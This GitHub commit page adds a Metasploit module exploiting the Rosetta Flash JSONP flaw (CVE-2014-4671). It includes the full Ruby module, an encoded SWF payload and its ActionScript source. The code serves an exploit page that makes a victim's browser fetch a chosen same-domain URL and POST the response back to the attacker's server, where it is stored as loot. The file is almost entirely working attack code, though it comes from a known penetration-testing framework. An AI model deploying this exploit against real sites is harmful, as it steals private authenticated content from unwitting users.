Skip to content

Commit fad30bc

Browse files
committed
Add flash rosetta exploit module for stealing URLs.
1 parent b710014 commit fad30bc

File tree

1 file changed

+207
-0
lines changed

1 file changed

+207
-0
lines changed
Lines changed: 207 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,207 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'open-uri'
8+
require 'uri'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure',
18+
'Description' => %q{
19+
A website that serves a JSONP endpoint that accepts a custom alphanumeric
20+
callback of 1200 chars can be abused to serve an encoded swf payload that
21+
steals the contents of a same-domain URL. Flash < 14.0.0.145 is required.
22+
23+
This module spins up a web server that, upon navigation from a user, attempts
24+
to abuse the specified JSONP endpoint URLs by stealing the response from
25+
GET requests to STEAL_URL.
26+
},
27+
'License' => MSF_LICENSE,
28+
'Author' => [
29+
'Michele Spagnuolo',
30+
'joev'
31+
],
32+
'References' =>
33+
[
34+
['CVE', '2014-4671'],
35+
['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'],
36+
['URL', 'https://github.com/mikispag/rosettaflash'],
37+
['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/']
38+
],
39+
'DisclosureDate' => 'Jul 8 2014',
40+
'Actions' => [ [ 'WebServer' ] ],
41+
'PassiveActions' => [ 'WebServer' ],
42+
'DefaultAction' => 'WebServer'))
43+
44+
register_options(
45+
[
46+
OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]),
47+
OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]),
48+
OptString.new('STEAL_URL', [ true, 'The URL to steal the contents of', '' ]),
49+
OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]),
50+
OptString.new('STEAL_URL', [ true, 'The URL to steal the contents of', '' ]),
51+
OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ])
52+
],
53+
self.class)
54+
end
55+
56+
def run
57+
if datastore['CHECK'] and check == Msf::Exploit::CheckCode::Safe
58+
raise "JSONP endpoint does not allow sufficiently long callback names."
59+
end
60+
61+
if not datastore['URIPATH'] == '/'
62+
raise "URIPATH must be set to '/' to intercept crossdomain.xml request."
63+
end
64+
65+
exploit
66+
end
67+
68+
def check
69+
io = open(exploit_url(test_string))
70+
if io.read.start_with? test_string
71+
Msf::Exploit::CheckCode::Vulnerable
72+
else
73+
Msf::Exploit::CheckCode::Safe
74+
end
75+
end
76+
77+
def on_request_uri(cli, request)
78+
vprint_status("Request '#{request.method} #{request.uri}'")
79+
if request.uri =~ /crossdomain\.xml/
80+
print_status "Responding to crossdomain request.."
81+
send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy')
82+
elsif request.uri =~ /\.log/
83+
body = URI.decode(request.body)
84+
file = store_loot(
85+
"html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response"
86+
)
87+
url = body.lines.first.gsub(/.*?=/,'')
88+
print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}"
89+
print_good "Stored in #{file}"
90+
else
91+
print_status "Serving exploit HTML"
92+
send_response_html(cli, exploit_html)
93+
end
94+
end
95+
96+
# Generates an alphanumeric test string for checking that the JSONP endpoint
97+
# allows for long enough callback function names.
98+
def test_string
99+
@test_string ||= Rex::Text.rand_text_alphanumeric(encoded_swf.length)
100+
end
101+
102+
def exploit_url(data_payload)
103+
delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end
104+
"#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}"
105+
end
106+
107+
def exploit_html
108+
ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log')
109+
%Q|
110+
<!doctype html>
111+
<html>
112+
<body>
113+
<object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}"
114+
width=500 height=500>
115+
<param name="FlashVars"
116+
value="url=#{URI.escape datastore['STEAL_URL']}&exfiltrate=#{ex_url}" />
117+
</object>
118+
</body>
119+
</html>
120+
|
121+
end
122+
123+
# Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/
124+
#
125+
# Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:
126+
#
127+
# class X {
128+
# static var app : X;
129+
#
130+
# function getURL(url:String) {
131+
# var r:LoadVars = new LoadVars();
132+
# r.onData = function(src:String) {
133+
# if (_root.exfiltrate) {
134+
# var w:LoadVars = new LoadVars();
135+
# w.x = url+"\n"+src;
136+
# w.sendAndLoad(_root.exfiltrate, w, "POST");
137+
# }
138+
# }
139+
# r.load(url, r, "GET");
140+
# }
141+
#
142+
# function X(mc) {
143+
# if (_root.url) {
144+
# var urls:Array = _root.url.split(",");
145+
# for (var i in urls) {
146+
# getURL(urls[i]);
147+
# }
148+
# }
149+
# }
150+
#
151+
# // entry point
152+
# static function main(mc) {
153+
# app = new X(mc);
154+
# }
155+
# }
156+
#
157+
#
158+
# Compiling the .as using mtasc and swftool:
159+
#
160+
# > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
161+
# $ swfcombine -d out.swf -o out-uncompressed.swf
162+
# $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf
163+
#
164+
def encoded_swf
165+
"CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \
166+
"sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \
167+
"nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \
168+
"oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \
169+
"BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \
170+
"WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \
171+
"8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \
172+
"HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \
173+
"HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \
174+
"DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \
175+
"HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \
176+
"Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \
177+
"DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \
178+
"XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \
179+
"p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \
180+
"sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \
181+
"sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \
182+
"tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \
183+
"7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \
184+
"HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \
185+
"wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \
186+
"HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \
187+
"wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \
188+
"HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \
189+
"CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \
190+
"33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \
191+
"gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \
192+
"nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9"
193+
end
194+
195+
def crossdomain_xml
196+
%Q|
197+
<?xml version="1.0" ?>
198+
<cross-domain-policy>
199+
<allow-access-from domain="*" />
200+
</cross-domain-policy>
201+
|
202+
end
203+
204+
# this has to be stubbed for some reason
205+
def rhost; end
206+
207+
end

0 commit comments

Comments
 (0)